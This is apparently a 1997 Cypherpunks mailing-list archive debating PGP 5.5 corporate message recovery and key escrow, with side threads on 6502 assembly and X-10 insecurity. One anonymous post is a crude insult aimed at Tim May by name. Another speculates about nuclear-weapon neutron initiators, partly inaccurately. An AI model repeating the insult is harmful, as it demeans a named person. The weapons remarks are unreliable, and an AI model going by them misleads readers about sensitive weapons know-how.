3 has an integrated archive of sent and received email.

IMAP mailboxes are interesting in this context.  (Mail stays in the
remote mail box -- you can't modify it, you've either got to delete
it, or leave it -- if it's encrypted you're stuck with that (other
than re-encrypting it and mailing it yourself).  IMAP is nice for
people who are mobile -- use different workstations/laptops each day.

But still, it doesn't present a problem.  You just archive it once
you've decrypted it.  Similar to your problem where you can't modify
the built-in archive method in the MUA.


Problem #2: what if you're outside the LAN?  

You get inside the LAN with a VPN / ipsec setup, whatever, and do as
normal.  You'll have to if your mail box is in there.

> If the mail comes in encrypted just to an employee key, that is how
> it will be stored, and no business access is possible.

True.  So?  Those calling for GAK for company use argue:

	1. we've been brainwashed by the GAKkers that it's mission
	   critical to be able to recover email in transit

	2. we want to snoop on what our employees are sending.

This one:

	3. snoop on what our employees are receiving

isn't often mentioned.

Item 1, recovering email in transit is bogus.  Recovering email after
receipt, is over-rated in my opinion.

Item 2, snooping on sent mail is an independent problem, not involving
the GAK argument.  (Just send via your mail approver, you sign, he
encrypts and sends on if he approves).

My suggestion does cater for item 3 because the MUA arranges for the
decrypted text to be archived after the employee has decrypted it.

To by pass this, the employee has to either: i) modify the software
to disable the archiving, or ii) not decrypt it at all.

Possibility i) doesn't seem like a major threat, there are ways to
hack around all of these escrow mechanisms.  PGP Inc are highlighting
the purposefully puny nature of their enforcement with the suggestion
that this makes it less GAK friendly.

Possibility ii) doesn't seem like that big a problem.  I presume this
is going to come about if the company has read a few emails, and from
the context of the other mails this one looks like the biggy, where he
is conspiring to do something against the companies interests.  Or
perhaps they are tipped off.  Anyway, my suggested solution would be
to ask the employee to decrypt it, and if he refuses, fire him.  Any
problems?  (If he's forgotten his key, get the sender to resend).


> Second, what if an employee doesn't come back from vacation?  You've
> got messages sitting in his inbox which go back three weeks.  All
> encrypted to his personal key, which is gone.  It's been long enough
> that the senders may not have backups any more.  It's all lost, and
> at best the company is going to put its partners and customers to a
> great deal of inconvenience by making them re-send everything
> they've sent in the last three weeks, not to mention making the
> company look incompetent.

True.

They're going to look a bit incompetent anyway, if this guy was
working on a project where he was the main player.  They'll have to
reorganise anyway.  Not really your corporate nightmare situation I
don't think.  All it requires is a bit if finessing on the part of
members of the departees team.

If he's an interchangeable employee (one of 20 sales people all doing
the same job), you won't be using this method anyway .. you don't want
to loose sales when your sales people go on holiday, there will be a
sales@megacorp.com which is encrypted to a company key.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ghio@temp0133.myriad.ml.org (Matthew Ghio)
Date: Thu, 9 Oct 1997 14:56:33 +0800
To: cypherpunks@cyberpass.net
Subject: Re: 6502 ML programming
In-Reply-To: <199710090439.XAA16340@einstein.ssz.com>
Message-ID: <199710090632.CAA06768@myriad>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate <ravage@ssz.com> wrote:
> 
> There in no 'DATA' construct in 6502 assembly.
> 
> This is some sort of macro that either the assembler or programmer
> defined. All official Rockwell/Commodore [1] 6502 assembly mnemonics are
> three letter.

True, but most assemblers would let you insert static data into the object
file using various pseudo-ops like that.


> Idealy a jump table was created that had the various target addresses for
> your routines.

Oh, those were fun to debug too...


> The most efficient way to store data in 6502 is to put it in the first 256
> bytes of ram, then it could be called in no more than 2 clock cycles.

Actually that took three cycles.  One to fetch the opcode, one to fetch the
target address, and one to fetch the data byte.  If you wanted to do it in
two cycles, you had to write the data into the operand of the instruction
that loaded it (self-modifying code).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Thu, 9 Oct 1997 10:27:28 +0800
To: cypherpunks@cyberpass.net
Subject: Re: access to storage keys, NOT comms keys!
Message-ID: <199710090215.EAA02470@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Here is what leading cryptographers say about email key recovery, from
http://www.crypto.com/key_study/report.shtml.  This includes respected
figures like Bruce Schneier, Matt Blaze, Ron Rivest, Ross Anderson,
Whit Diffie, and more.

   2.1 Communication Traffic vs. Stored Data
   
   While key ``recoverability'' is a potentially important added-value
   feature in certain stored data systems, in other applications of
   cryptography there is little or no user demand for this feature. In
   particular, there is hardly ever a reason for an encryption user to want
   to recover the key used to protect a communication session such as a
   telephone call, FAX transmission, or Internet link. If such a key is lost,
   corrupted, or otherwise becomes unavailable, the problem can be detected
   immediately and a new key negotiated. There is also no reason to trust
   another party with such a key. Key recoverability, to the extent it has
   a private-sector application at all, is useful only for the keys used
   to protect irreproducible stored data. There is basically no business
   model for other uses, as discussed below.
   
   In stored data applications, key recovery is only one of a number of
   options for assuring the continued availability of business-critical
   information. These options include sharing the knowledge of keys
   among several individuals (possibly using secret-sharing techniques),
   obtaining keys from a local key registry that maintains backup copies,
   careful backup management of the plaintext of stored encrypted data, or,
   of course, some kind of key recovery mechanism. The best option among
   these choices depends on the particular application and user.
   
   Encrypted electronic mail is an interesting special case, in that it
   has the characteristics of both communication and storage. Whether key
   recovery is useful to the user of a secure E-mail system depends on
   design of the particular system.
   
   The government, on the other hand, proposes a key recovery infrastructure
   that applies to virtually all cryptographic keys, including (especially)
   those used to protect communications sessions.

They say that key recovery is not appropriate for transient keys used
during a communication session.  However, email is a special case, having
characteristics of both communication and storage.  In some systems,
email may be archived for long periods of time in the same format that
it was received.  For such systems there is a business case for key
recovery in email.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 9 Oct 1997 10:31:37 +0800
To: cypherpunks@cyberpass.net
Subject: NoneRe: russia_1.html
In-Reply-To: <199710081351.GAA15050@toad.com>
Message-ID: <199710090225.EAA03343@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Peter Trei wrote:

> I conceed that it may not be the Pu decay products that cause the
> limited shelf life of thermonuclear weapons; I suspect that it may
> be components of the 'pit', which produces the initial burst of
> neutrons to kick of the reaction (the pit is effectively a small
> fission bomb). This 'pit' may contain tritium (pit design is a very
> well guarded secret, and I've seen very little about it in the open
> literature).

The pit usually contains beryllium-9 and an alpha source.  When beryllium-9
is struck by an alpha particle it will eject a neutron.  Tritium is rather
useless for this purpose as it is a beta emitter and betas do not have
enough energy to eject neutrons from anything.  The reason the pit goes bad
is because you need to be able to produce a large number of neutrons in a
short period of time, so you need a very strong alpha emitter (stronger
than the Pu239) which means it will decay more rapidly.  Furthermore, those
neutrons are going to find their way into various nuclei and transmutate
them into things you don't want.

The reason the pit is necessary is that Pu is too fast - the critical
mass will blow itself apart just as the reaction is getting underway.  To
avoid this "fizzle", an implosion bomb is used which squeezes the Pu core
and holds it there long enough for it to react.  Once the critical mass
is assembled you want to make sure it actually blows.  If there aren't any
free neutrons during that split-second then it won't explode.  So that's
what the 'pit' is for.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Thu, 9 Oct 1997 19:50:56 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199710091130.EAA09395@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



The main difference between Timothy May and shit is that shit smells 
better.

     \o _o   o  o  \o  |o  |o  >>    /\/ o__  _o   o/ Timothy May
     |   |  /|  |\  |  /  /|/  \|o  o\   |  \   \  |
     |   |  << <<  << |                        << < \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 9 Oct 1997 11:01:40 +0800
To: cypherpunks@toad.com
Subject: Re: MISTY algorithm source code
Message-ID: <199710090247.EAA05594@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



"Nobuki Nakatuji" <bd1011@hotmail.com> writes:
>Attachments files is MISTY algorithm source code.

Interesting. The "Crow" algorithm seems to do nothing but return "BITE
ME!" for any plaintext, the "Tom Servo" algorithm converts ciphertext
into hip neologisms, and the "Gypsy" algorithm turns unintelligible
plaintext into unintelligible ciphertext and vice versa.

Memo to self: Fire Chief Programmer Mike Nelson.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 9 Oct 1997 18:39:28 +0800
To: "THE DUKE" <pleontks@hotmail.com>
Subject: Re:
In-Reply-To: <19971009023118.27488.qmail@hotmail.com>
Message-ID: <199710091026.GAA29658@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <19971009023118.27488.qmail@hotmail.com>, on 10/08/97 
   at 07, "THE DUKE" <pleontks@hotmail.com> said:

>None of you have my pity.

None of want or need it.

>I spit upon you all

<sigh> children.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNDyy1I9Co1n+aLhhAQFUFQQAmCQkhOPmzCnbuER0sHJIRFGWFoCW/BSD
M4+o9l3PxHkUu1dTpLbQ/781f+KwcwxHG53lmUQ+JSTluraB2FUk13XnPpN0l3Kv
Uo8C40izI+ZjOAaEKuEvTuf061m4gff/5ftuxHwGszfzRjNJa5VQZRnwREdoQ2l0
9cL3mnJbQSM=
=WmjX
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Reiter <reiter@research.att.com>
Date: Thu, 9 Oct 1997 19:21:13 +0800
To: cypherpunks@toad.com
Subject: 1998 IEEE Symposium on Security and Privacy
Message-ID: <199710091102.HAA06297@arran.research.att.com>
MIME-Version: 1.0
Content-Type: text/plain




The call-for-papers for the 1998 IEEE Symposium on Security and
Privacy can be found at

http://www.research.att.com/~reiter/oakland98.html

- Mike





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 9 Oct 1997 20:13:32 +0800
To: cypherpunks@toad.com
Subject: EU Rejects GAK
Message-ID: <1.5.4.32.19971009115219.006ac38c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



9 October 1997
Source: The New York Times, October 9, 1997, p. D4

Europeans Reject U.S. Plan On Electronic Cryptography 

   Threats to Privacy and Commerce Are Cited

By Edmund L. Andrews

Frankfurt, Oct. 8 -- The European Commission has rejected proposals by
the United States aimed at insuring that police agencies can crack coded
messages over telephone and computer networks.

In a lengthy report released today, the European Commission said the
American approach could threaten privacy and stifle the growth of
electronic commerce and that it might simply be ineffective.

The report appears to all but doom efforts by the Clinton Administration
and the Federal Bureau of Investigation to establish a global system in
which people who use cryptography would have to deposit a "key" for
unlocking their codes with an independent outside organization. As
envisioned, the police or intelligence agents would be able to use this key
once they got court approval to carry out a wiretap. The plan has been
vigorously opposed by the computer industry, which fears that it would
jeopardize sales to foreign customers.

Because of the Internet's borderless nature, American officials have long
acknowledged that their plan is workable only if most other countries
adopt similar systems. If not, people could simply route their
communications through countries with no restrictions.

The White House had already run into heavy opposition from civil rights
groups, the computer industry and Congressional Republicans. And
earlier this year, the United States failed to muster any support for its plan
from the Organization for Economic Cooperation and Development, a
consortium backed by more than 40 countries.

But the European Commission's blunt opposition, reported today in The
Wall Street Journal, went considerably further, raising a slew of objections
to "key recovery" and "key escrow," systems. Among them were these:

+ Hackers could find new ways to breach security." Inevitably, any key
access scheme introduces additional ways to break into a cryptographic
system," the report said.

+ The systems could weaken European data-privacy laws. "Any regulation
hindering the use of encryption products," the report said, "hinders the
secure and free flow of personal information."

+ Even with a "key escrow" or "key recovery" system, criminals cannot be
entirely prevented from using strong encryption.

More broadly, the European Commission said, any kind of key-based
system could jeopardize the rise of electronic commerce. "If citizens and
companies have to fear that their communication and transactions are
monitored with the help of key access or similar schemes," the report
said, "they may prefer remaining in the anonymous off-line world."

American officials did not disguise their disappointment, and challenged
the Europeans to come up with better alternatives.

"I am a little surprised," said William Reinsch, Deputy Secretary of
Commerce in charge of export administration. "My question to the
European Commission is, where do they think the market is going? Our
sense is that corporations engaged in electronic commerce want key
recovery in some form, because they want to recover their own records
and to monitor their own employees."

Beyond high-minded policy issues, European officials quietly
acknowledge that they have political and economic concerns. For one
thing, several countries do not like the idea of deferring to an American
system that might allow American companies to dominate the next
generation of security products.

The German Government, meanwhile, is worried that American authorities
might have improper access to data on German users -- possibly violating
Germany's tough new laws on data protection.

But the European Union is far from united. Britain has generally 
sided with the United States in supporting an international system for
regulating data encryption.

Indeed, the European Commission remained vague about what
alternatives to the American system it might actually favor, nor does the
report attempt to block member countries from setting up key-based
systems if they want to.

American computer and software companies greeted the European policy
declaration as a victory.

"Even the hard-line Governments, the U.S. and the United Kingdom, have
said that any cryptography restrictions have to be internationally
coordinated because otherwise you can just download material from
another country," said Chris Kuner, a lawyer in Frankfurt who represents
Netscape Communications and other networking companies in Europe.

"This shows that Europe does not agree with the idea of mandatory key
recovery. This idea that is the only possible regulatory framework for the
world has been clearly rejected."

[End]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 9 Oct 1997 20:46:47 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: 6502 ML programming (fwd)
Message-ID: <199710091302.IAA17486@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 9 Oct 1997 02:32:27 -0400
> From: ghio@temp0133.myriad.ml.org (Matthew Ghio)
> Subject: Re: 6502 ML programming

> Jim Choate <ravage@ssz.com> wrote:
> > 
> > There in no 'DATA' construct in 6502 assembly.
> > 
> > This is some sort of macro that either the assembler or programmer
> > defined. All official Rockwell/Commodore [1] 6502 assembly mnemonics are
> > three letter.
> 
> True, but most assemblers would let you insert static data into the object
> file using various pseudo-ops like that.
> 
> 
> > Idealy a jump table was created that had the various target addresses for
> > your routines.
> 
> Oh, those were fun to debug too...
> 
> 
> > The most efficient way to store data in 6502 is to put it in the first 256
> > bytes of ram, then it could be called in no more than 2 clock cycles.
> 
> Actually that took three cycles.  One to fetch the opcode, one to fetch the
> target address, and one to fetch the data byte.  If you wanted to do it in
> two cycles, you had to write the data into the operand of the instruction
> that loaded it (self-modifying code).

Wow, we actualy agree on all points...that has to be a first.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: phelix@vallnet.com
Date: Thu, 9 Oct 1997 19:45:35 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Internet Via Electric Lines? (fwd)
Message-ID: <34458bd4.96061987@128.2.84.191>
MIME-Version: 1.0
Content-Type: text/plain



On 9 Oct 1997 02:25:13 -0500, "William H. Geiger III" <whgiii@invweb.net>
wrote:

>
>-----BEGIN PGP SIGNED MESSAGE-----
>
>In <199710081234.HAA11747@einstein.ssz.com>, on 10/08/97 
>   at 07, Jim Choate <ravage@ssz.com> said:
>
>>Forwarded message:
>
>>> From: "William H. Geiger III" <whgiii@invweb.net>
>>> Date: Wed, 08 Oct 97 01:28:42 -0500
>>> Subject: Re: Internet Via Electric Lines?
>
>>> This is nothing new.
>
>>At least late 70's.
>
>>> I think it was GE that several years ago created phone extensions that you
>>> plugged into your power outlets, no need to run wire to put in an extra
>>> outlet. I believe that X-10 uses this same principle for computer control
>>> of household appliances.
>>> 
>>> Not to mention data leakage through power lines is an issue long reconized
>>> by the TEMPEST crowd.
>>> 
>>> The trick here seems to be in routing the data. How do you get data on the
>>> power grid routed to the location that you want it to go??
>
>>The trick with X-10 is to stay away from transformers as the signal won't
>>go through them effectively. This ends any dreams of sending data to your
>>neighbor, the signal won't go through your power meter.
>
>This seems to be a Goodthing(TM) for residential X-10 as it would seem to
>take care of a lot of security issues by effectively isolating each home
>from others who may be running the same system.
>
>Has anyone researched the security issues around X-10? Is the Transformer
>isolation good enough protection from a dedicated attack (as opposed to
>accidental signal leakage)? Are their alternative routes for transmitting
>the FM signal (Airwaves) that the X-10 devices would pick up?? Do any of
>the current X-10 devices use signal authentication/verification?
>

X-10?  security?  hehehe... that's good for a laugh.

There is no security whatsover in X-10.  If your neighbor knows the
addresses of your X-10 units and his power comes off the same transformer
as yours, he can easily turn your lights on and off.  The only thing
protecting you (besides obscurity) is the transformer that isolates your
power line from others.

X-10 doesn't use any type of FM signal.  It simply transmits bits in the
zeros of the ac power 'signal'.  It only get 120bps and most signals are
repeated 3 times (even with that, the signal sometimes gets lost in the
line noise), so really you only get 40bps.   A command consists simply of
[address],[command].  The address is 8 bits long, I dont' remember how long
the command is.  In X-10 speak, and address is [A-P] [1-16].  The commands
are on,off,bright,dim,all-lights-on, and a few others.

There's no security, no encryption, not even collision detection when using
more than one transmitter.

Now, there a new system called cebus, but it's over 10X more expensive.  I
don't know too much about it.

-- Phelix





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 9 Oct 1997 23:54:54 +0800
To: Adam Back <cypherpunks@cyberpass.net
Subject: Re: anonymous poster quality up
In-Reply-To: <199710090852.JAA00726@server.test.net>
Message-ID: <v03102800b062aae55588@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 1:52 AM -0700 10/9/97, Adam Back wrote:
>I notice that the quality of anonymous submissions to the discussion
>here on cypherpunks has increased markedly lately.
>
>I can see a couple of reasons why this might be: Monty Cantsin seems
>to write consistently good stuff, Tim May announced he may be using
>some nyms, and we have this big argument with PGP Inc where their

Thanks for the sort-of compliment, but I haven't been using anonymous
remailers much at all the last couple of years.

Someone wrote to me saying he suspected I was "Monty Cantsin." Nope.

I know denials like this mean nothing to some of you--they certainly meant
nothing to Detweiler several years ago. But, for the record, virtually
every comment I have made on this list in the last couple of years has been
under my own name.

I agree that some good comments have come from anonymous posters.


- --Tim May (I'll sign this with my new PGP 5.0 key, which has also been
signed with my 1992 PGP 2.0 key)


The Feds have shown their hand: they want a ban on domestic cryptography
- ---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."



-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNDz7rVK3AvrfAt9qEQKzBgCglwLRdegEL/ubNrGydVfktiDY9vEAoNPI
cUMblxJZFITqeliKe36RgkKB
=6oOe
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bruce Schneier <schneier@counterpane.com>
Date: Thu, 9 Oct 1997 22:26:34 +0800
To: Jon Callas <minow@apple.com
Subject: Re: What's really in PGP 5.5?
In-Reply-To: <v0300780ab0609577728b@[209.98.13.223]>
Message-ID: <v03007803b0629512ae06@[209.98.13.73]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:33 PM -0500 10/8/97, Jon Callas wrote:
>At 08:48 PM 10/7/97 -0500, Bruce Schneier wrote:
>   Jon Calis wrote:
>   >Also, we have three encryption products: PGP freeware, PGP for Personal
>   >Privacy, and PGP for Business Security. Corporate Message Recovery is
>   >included *only* in PGP for Business Security. It is not, and never will
>   >be, in either the freeware or the Personal Privacy product.
>
>   If this is true (and I have no reason to believe it isn't), then why is the
>   key escrow code written (although not turned on) in the source code for 5.0
>   that was posted internationally from PGP?
>
>Bruce, I understand that you don't like any form of data recovery, but
>there is no key escrow in PGP. Perhaps we should talk about this on the phone.

Sure.  Please call.  Your CEO called me on Monday, and he tried to tell me
that it wasn't key escrow because you weren't saving copies of any keys.
If you're just going to call to split those sorts of hairs, don't bother.
I'm interested in hearing how your key escrow system works; I've already
been told why you put it in.

Bruce

**********************************************************************
Bruce Schneier, President, Counterpane Systems     Phone: 612-823-1098
101 E Minnehaha Parkway, Minneapolis,MN  55419       Fax: 612-823-1590
                                            http://www.counterpane.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimg@mentat.com (Jim Gillogly)
Date: Fri, 10 Oct 1997 00:33:21 +0800
To: cypherpunks@cyberpass.net
Subject: Re: anonymous poster quality up
Message-ID: <199710091628.JAA01939@feller.mentat.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> - --Tim May (I'll sign this with my new PGP 5.0 key, which has also been
> signed with my 1992 PGP 2.0 key)

So what <is> your new PGP 5.0 public key?  I checked for the key ID 0xDF02DF6A
on the key server at www.pgp.com and didn't see it.  I <do> believe your claim
that it's a 5.0 key, though, since it ends in the even nibble 'A', and all RSA
key IDs are odd. :)

	Jim Gillogly
	jim@acm.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Fri, 10 Oct 1997 01:43:57 +0800
To: cypherpunks@cyberpass.net
Subject: Re: What's really in PGP 5.5?
In-Reply-To: <de77e8eade35480a3e2553b5dbc0cd26@anon.efga.org>
Message-ID: <v03102801b062b6030c22@[17.128.202.170]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Anonymous, claiming to be Monty Cantsin, writes about PGP 5.5:
>
>Decrypting files and decrypting messages are not the same problem.
>The PGP product has SMTP support - it is explicitly designed to weaken
>transmitted messages.  Just like Clipper.
>
No, it isn't "just like Clipper." Messages encrypted with PGP 5.5
can be decrypted or verified by PGP 5.0 or other implementations that
can decode the PGP message and encryption format. Also, PGP 5.0 or other
complient implementations can send encrypted and signed messages to
PGP 5.5 users.

The transmitted message is as "weak" as the quality of the encryption,
the number of people who have access to the secret key, and the
quality of their passwords. It is also as "weak" as the physical
security that prevents passwords from leaking (i.e., by Tempest
or black bag wiretaps inside the secure user's workstation).

Given all of the other risks, encrypting to a corporate private
key doesn't seem to me to significantly increase the risk.

The real risk, to my view, is that some future implementation will
require the secondary key, and will require that that secondary
key be stored in a "government accessable" database. This, however,
seems a bit remote and, given that PGP publishes their source code,
reasonably easy to detect.

Martin Minow
minow@apple.com


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBND0KUG23+ciinrc5AQGvMgP9HKE4s/3FbjfFpvfC230wvHkjDd2HWyC1
lhVa/i9ayO8pZC/k+V06pGTZLcZ89a4X2r3fQGjj0QNghuotkV9xVVD9AzLTLX88
YPp2DQWDCjkWq4PzBB8IR6c+rH6AbuqtDAhfas/Rto/9DI7EJWqi3dZbi7tFm7jj
g2nTAFk9VVo=
=DkbK
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 9 Oct 1997 17:08:48 +0800
To: nobody@REPLAY.COM
Subject: Re: access to storage keys, NOT comms keys!
In-Reply-To: <199710090215.EAA02470@basement.replay.com>
Message-ID: <199710090848.JAA00719@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Anonymous <nobody@REPLAY.COM> writes:
> [7 cryptographers report says]
> 
>    Key recoverability, to the extent it has a private-sector
>    application at all, is useful only for the keys used to protect
>    irreproducible stored data. There is basically no business model
>    for other uses, as discussed below.

Right.

>    Encrypted electronic mail is an interesting special case, in that it
>    has the characteristics of both communication and storage. Whether key
>    recovery is useful to the user of a secure E-mail system depends on
>    design of the particular system.

I was arguing for designing the system so that as much of the storage
functionality as possible is accomplished with separate storage keys.

> They say that key recovery is not appropriate for transient keys
> used during a communication session.  However, email is a special
> case, having characteristics of both communication and storage.  In
> some systems, email may be archived for long periods of time in the
> same format that it was received.  For such systems there is a
> business case for key recovery in email.

So the solution is to engineer your email system to re-encrypt email
to a storage key before archiving.

You lose a couple of functionalities over a true key escrow system,
which a previous anonymous (don't know if you're the same anonymous)
identified well:

- if someone leaves / dies unexpectedly you can't decrypt email in
  their mail box.

- if the employee who is the crypto recipient refuses to decrypt the
  company won't be able to decrypt either.

However there are a couple of reasons why this isn't such a big deal,
and why people ought to get used to it.

i) How often do people die unexpectedly -- if this does happen the
company faces other similar problems, perhaps said employee had a few
things on a `to do' list stored in only in his head.  Perhaps he has
contacts the company doesn't have recorded.  The company will have to
do some extra work reorganising anyway.

ii) You can't avoid above problems if you're using forward secrecy;
you should be using forward secrecy for security reasons, so you'd
better get used ot the side-effects.

iii) You can minimise the negative effects if you ensure that the
people sending you email also have a matching system which ensures
that `official' sent email is all backed but up encrypted with a
storage key.  Then they _will_ have the email to resend.  This seems
likely in any event, if the importance of the email exchanges is so
important that the company wants to archive it, the sending company is
likely to also.  If the email gets lost in transit you'll need a copy
to resend already.

iv) It's worth the minor extra inconvenience because you can then plug
in forward secrecy, and you thereby have a double stance against GAK:
no key escrow, and no long term private encryption keys as fat
targets.  As a plus it's a security improvement also.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 9 Oct 1997 22:10:48 +0800
To: cypherpunks@cyberpass.net
Subject: Component-based Commerce:  CCS Lunch Talk Friday, October 17
Message-ID: <v03110761b062914cfa65@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date: Thu, 9 Oct 1997 08:22:11 -0400 (EDT)
From: Chris Wysopal <cwysopal@skywriting.com>
To: dcsb@ai.mit.edu
Subject: Component-based Commerce:  CCS Lunch Talk Friday, October 17
MIME-Version: 1.0
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Chris Wysopal <cwysopal@skywriting.com>


From:   Roanne Neuwirth [SMTP:roanne@MIT.EDU]
Sent:   Wednesday, October 08, 1997 10:27 AM
To:     ccs-lunch@MIT.EDU
Subject:        Component-based Commerce:  CCS Lunch Talk Friday, October 17

Greetings!

This is to announce a CCS Lunch Talk, Friday, October 17, from 12-1:30 pm in
E40-170.  Bring your lunch and join us for an interesting session.

We are pleased to welcome Jay M. Tenenbaum, Chairman of CommerceNet to CCS.
He will speak on component-based commerce and an exciting new project.  See
you there!!

Component-based Commerce
Jay M. Tenenbaum
Chairman, CommerceNet

Digital anarchy is threatening the explosive growth of Internet commerce.
Proprietary applications and platforms cannot communicate above the level of
browsers. Websites are difficult to locate and incomprehensible to software
agents. Such limitations prevent online businesses from leveraging each
other's services, resulting in closed markets and trading communities.

In response, CommerceNet has launched an ambitious object-oriented
interoperability framework initiative called eCo System. eCo treats all
commerce services on the Web as business objects. It provides the
infrastructure (a Common Business Language, standardized metadata and
middleware) for combining them in novel ways to build virtual companies,
markets, and trading communities. eCo complements commercial ecommerce
platforms, enabling them to communicate with one another, thus expanding the
market for all.

eCo System promises to transform the Internet into a massive economy of
online services, all linked through a common framework. Companies will be
able to encapsulate their services (e.g., shipping, banking) as eCo objects,
that customers can seemlessly integrate into their own business processes.
Entrepreneurs will be able to create innovative value-added services that
compare, aggregate, integrate, and translate data across companies --
finding the best price or the closest supplier for example. This potential
for instant partnering and for rapidly experimenting with new business
concepts could spark an explosion of entrepreneurial activity rivaling that
of the web itself. Based on market analyses by Forrester and IDC,
CommerceNet projects a $1 Billion market for eCo-enabled  Internet commerce
building blocks and tools by the year 2000. The Internet commerce
transactions enabled by these components could exceed $100 Billion.

The talk will cover eCo System from both a technology and business
perspective.

Dr. Jay M. Tenenbaum (BS MIT '64; Ph.D. Stanford '71) is widely acknowledged
as a founder of Internet commerce and its leading visionary. In 1990 he
started EIT, the company that pioneered  the enabling security and payment
infrastructure. In 1994 he formed CommerceNet, the leading industry
association for Internet commerce with nearly 600 corporate members
worldwide. Dr. Tenenbaum has been a consulting Professor of Computer Science
at Stanford University and currently serves on the boards of six Internet
start ups.






For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
